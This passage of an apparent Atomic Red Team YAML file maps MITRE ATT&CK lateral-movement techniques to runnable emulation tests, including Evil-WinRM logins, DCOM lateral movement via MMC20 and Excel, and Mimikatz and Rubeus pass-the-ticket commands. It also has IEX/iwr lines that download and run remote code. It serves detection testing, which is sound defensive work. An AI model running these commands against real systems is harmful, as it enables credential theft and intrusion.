Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Monitor for processes and command-line arguments associated with hijacking service sessions. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Command: Command Execution' - 'Process: Process Creation' - 'Logon Session: Logon Session Creation' type: attack-pattern id: attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5 created: '2020-02-25T18:26:16.994Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1563 external_id: T1563 - source_name: RDP Hijacking Medium description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017. url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 - source_name: Breach Post-mortem SSH Hijack description: Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020. url: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1021.006: technique: modified: '2023-08-11T15:26:41.941Z' name: 'Remote Services: Windows Remote Management' description: |- Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_deprecated: false x_mitre_detection: 'Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Process: Process Creation' - 'Logon Session: Logon Session Creation' - 'Network Traffic: Network Connection Creation' - 'Command: Command Execution' - 'Network Traffic: Network Traffic Flow' - 'Service: Service Metadata' type: attack-pattern id: attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65 created: '2020-02-11T18:29:47.757Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021/006 external_id: T1021.006 - source_name: Medium Detecting Lateral Movement description: French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019. url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc - source_name: Jacobsen 2014 description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014. url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 - source_name: MSDN WMI description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. url: https://msdn.microsoft.com/en-us/library/aa394582.aspx - source_name: Microsoft WinRM description: Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014. url: http://msdn.microsoft.com/en-us/library/aa384426 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1021.006 atomic_tests: - name: Enable Windows Remote Management auto_generated_guid: 9059e8de-3d7d-4954-a322-46161880b9cf description: | Powershell Enable WinRM Upon successful execution, powershell will "Enable-PSRemoting" allowing for remote PS access. supported_platforms: - windows executor: command: 'Enable-PSRemoting -Force ' name: powershell elevation_required: true - name: Remote Code Execution with PS Credentials Using Invoke-Command auto_generated_guid: 5295bd61-bd7e-4744-9d52-85962a4cf2d6 description: "Simulate lateral movement with PowerShell Remoting on the local host. \nUpon successful execution, PowerShell will execute `whoami` using `Invoke-Command`, targeting the \nlocal machine as remote target.\n" supported_platforms: - windows executor: command: |- Enable-PSRemoting -Force Invoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami} cleanup_command: Disable-PSRemoting -Force name: powershell - name: WinRM Access with Evil-WinRM auto_generated_guid: efe86d95-44c4-4509-ae42-7bfd9d1f5b3d description: An adversary may attempt to use Evil-WinRM with a valid account to interact with remote systems that have WinRM enabled supported_platforms: - windows input_arguments: user_name: description: Username type: string default: Domain\Administrator destination_address: description: Remote Host IP or Hostname type: string default: Target password: description: Password type: string default: P@ssw0rd1 dependency_executor_name: powershell dependencies: - description: Computer must have Ruby Installed prereq_command: try {if (ruby -v) {exit 0} else {exit 1}} catch {exit 1} get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rubyinstaller-2.7.1-1-x64.exe" https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.7.1-1/rubyinstaller-2.7.1-1-x64.exe $file1= "PathToAtomicsFolder\..\ExternalPayloads\rubyinstaller-2.7.1-1-x64.exe" Start-Process $file1 /S; - description: Computer must have Evil-WinRM installed prereq_command: try {if (evil-winrm -h) {exit 0} else {exit 1}} catch {exit 1} get_prereq_command: gem install evil-winrm executor: command: 'evil-winrm -i #{destination_address} -u #{user_name} -p #{password}' name: powershell elevation_required: true T1021.003: technique: modified: '2023-08-11T20:21:55.610Z' name: 'Remote Services: Distributed Component Object Model' description: |- Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_deprecated: false x_mitre_detection: |- Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Module: Module Load' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd created: '2020-02-11T18:26:36.444Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021/003 external_id: T1021.003 - source_name: Fireeye Hunting COM June 2019 description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019. url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html - source_name: Microsoft COM description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - source_name: Microsoft COM ACL description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017. url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1 - source_name: Microsoft Process Wide Com Keys description: Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017. url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx - source_name: MSDN WMI description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. url: https://msdn.microsoft.com/en-us/library/aa394582.aspx - source_name: Enigma DCOM Lateral Movement Jan 2017 description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.' url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ - source_name: Enigma MMC20 COM Jan 2017 description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017. url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ - source_name: Enigma Outlook DCOM Lateral Movement Nov 2017 description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017. url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ - source_name: Enigma Excel DCOM Sept 2017 description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017. url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ - source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017 description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017. url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1021.003 atomic_tests: - name: PowerShell Lateral Movement using MMC20 auto_generated_guid: 6dc74eb1-c9d6-4c53-b3b5-6f50ae339673 description: | Powershell lateral movement using the mmc20 application com object. Reference: https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/ Upon successful execution, cmd will spawn calc.exe on a remote computer. supported_platforms: - windows input_arguments: computer_name: description: Name of Computer type: string default: localhost executor: command: '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7") ' name: powershell - name: PowerShell Lateral Movement Using Excel Application Object auto_generated_guid: 505f24be-1c11-4694-b614-e01ae1cd2570 description: | Powershell lateral movement using the Excel COM objects. Reference: https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922 Upon successful execution, cmd will spawn calc.exe on a remote computer. supported_platforms: - windows dependencies: - description: 'Microsoft Excel must be installed ' prereq_command: | try { New-Object -COMObject "Excel.Application" | Out-Null Stop-Process -Name "Excel" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Excel manually to meet this requirement" ' input_arguments: computer_name: description: Hostname or IP type: string default: localhost user: description: Name of user type: string default: admin executor: command: | copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe' $com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","#{computer_name}")) $com.ActivateMicrosoftApp("5") name: powershell cleanup_command: 'Remove-Item ''C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'' ' T1550.003: technique: modified: '2023-10-31T14:00:00.188Z' name: 'Use Alternate Authentication Material: Pass the Ticket' description: |- Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Vincent Le Toux - Ryan Becwar x_mitre_detection: |- Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Creation' - 'Active Directory: Active Directory Credential Request' x_mitre_defense_bypassed: - System Access Controls x_mitre_system_requirements: - Kerberos authentication enabled type: attack-pattern id: attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926 created: '2020-01-30T17:03:43.072Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550/003 external_id: T1550.003 - source_name: ADSecurity AD Kerberos Attacks description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016. url: https://adsecurity.org/?p=556 - source_name: GentilKiwi Pass the Ticket description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016. url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos - source_name: Campbell 2014 description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014. url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf - source_name: Stealthbits Overpass-the-Hash description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021. url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ - source_name: CERT-EU Golden Ticket Protection description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' identifier: T1550.003 atomic_tests: - name: Mimikatz Kerberos Ticket Attack auto_generated_guid: dbf38128-7ba7-4776-bedf-cc2eed432098 description: 'Similar to PTH, but attacking Kerberos ' supported_platforms: - windows input_arguments: ticket: description: Ticket file name usually format of 'id-username\@domain.kirbi' (e.g. can be dumped by "sekurlsa::tickets /export" module) type: string default: mimikatz_exe: description: Path of the Mimikatz binary type: path default: PathToAtomicsFolder\..\ExternalPayloads\bin\x64\mimikatz.exe dependency_executor_name: powershell dependencies: - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe}) ' prereq_command: 'if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1} ' get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"#{mimikatz_exe}\" | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" executor: command: '"#{mimikatz_exe}" "kerberos::ptt #{ticket}" ' name: command_prompt - name: Rubeus Kerberos Pass The Ticket auto_generated_guid: a2fc4ec5-12c6-4fb4-b661-961f23f359cb description: | Requesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local). PsExec is used to execute commands on the remote system, and the "C$" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met. supported_platforms: - windows input_arguments: target: description: Remote system to request the TGT from type: string default: localhost user_name: description: username associated with the ticket (privileged account not required) type: string default: Administrator password: description: password for user_name type: string default: Password domain: description: domain type: string default: "$Env:USERDOMAIN" rubeus_url: description: URL of Rubeus executable type: url default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe dependency_executor_name: powershell dependencies: - description: 'Rubeus must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe" ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-Webrequest -Uri #{rubeus_url} -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe" - description: 'PsExec must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") {exit 0} else {exit 1} ' get_prereq_command: | Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force executor: name: powershell elevation_required: true command: "& \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -accepteula \\\\#{target} -w c:\\ -c \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi\nSet-Location \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nMove-Item -Force \"\\\\#{target}\\c$\\ticket.kirbi\" ticket.kirbi\nWrite-Host \"Successfully retrieved TGT from '#{target}', now requesting a TGS from local\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\ticket.kirbi\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" purge " T1021.007: technique: modified: '2023-04-14T22:27:04.095Z' name: Cloud Services description: "Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Office 365 - Azure AD - SaaS - IaaS - Google Workspace x_mitre_version: '1.0' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' type: attack-pattern id: attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0 created: '2023-02-21T19:38:13.371Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021/007 external_id: T1021.007 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1072: technique: modified: '2024-04-12T03:40:37.954Z' name: Software Deployment Tools description: "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Shane Tully, @securitygypsy - Joe Gumke, U.S. Bank - Tamir Yehuda x_mitre_deprecated: false x_mitre_detection: "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network - SaaS x_mitre_version: '3.0' x_mitre_data_sources: - 'Process: Process Creation' - 'Application Log: Application Log Content' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414 created: '2017-05-31T21:30:57.201Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1072 external_id: T1072 - source_name: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation description: ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023. url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem - source_name: SpecterOps Lateral Movement from Azure to On-Prem AD 2020 description: 'Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.' url: https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d - source_name: 'Mitiga Security Advisory: SSM Agent as Remote Access Trojan' description: 'Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.' url: https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1072 atomic_tests: - name: Radmin Viewer Utility auto_generated_guid: b4988cad-6ed2-434d-ace5-ea2670782129 description: 'An adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console. ' supported_platforms: - windows input_arguments: radmin_installer: description: Radmin Viewer installer type: path default: RadminViewer.msi radmin_exe: description: The radmin.exe executable from RadminViewer.msi type: path default: Radmin Viewer 3/Radmin.exe dependency_executor_name: powershell dependencies: - description: 'Radmin Viewer Utility must be installed at specified location (#{radmin_exe}) ' prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}/#{radmin_exe}") {exit 0} else {exit 1} ' get_prereq_command: | Write-Host Downloading radmin installer New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\#{radmin_installer}" Write-Host Install Radmin Start-Process msiexec -Wait -ArgumentList /i , "PathToAtomicsFolder\..\ExternalPayloads\#{radmin_installer}", /qn executor: name: command_prompt elevation_required: true command: '"%PROGRAMFILES(x86)%/#{radmin_exe}" ' - name: PDQ Deploy RAT auto_generated_guid: e447b83b-a698-4feb-bed1-a7aaf45c3443 description: 'An adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console. ' supported_platforms: - windows input_arguments: PDQ_Deploy_installer: description: PDQ Deploy Install type: path default: PDQDeploysetup.exe PDQ_Deploy_exe: description: The PDQDeployConsole.exe executable from PDQDeploysetup.exe type: path default: Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe dependency_executor_name: powershell dependencies: - description: 'PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe}) ' prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}/#{PDQ_Deploy_exe}") {exit 0} else {exit 1} ' get_prereq_command: | Write-Host Downloading PDQ 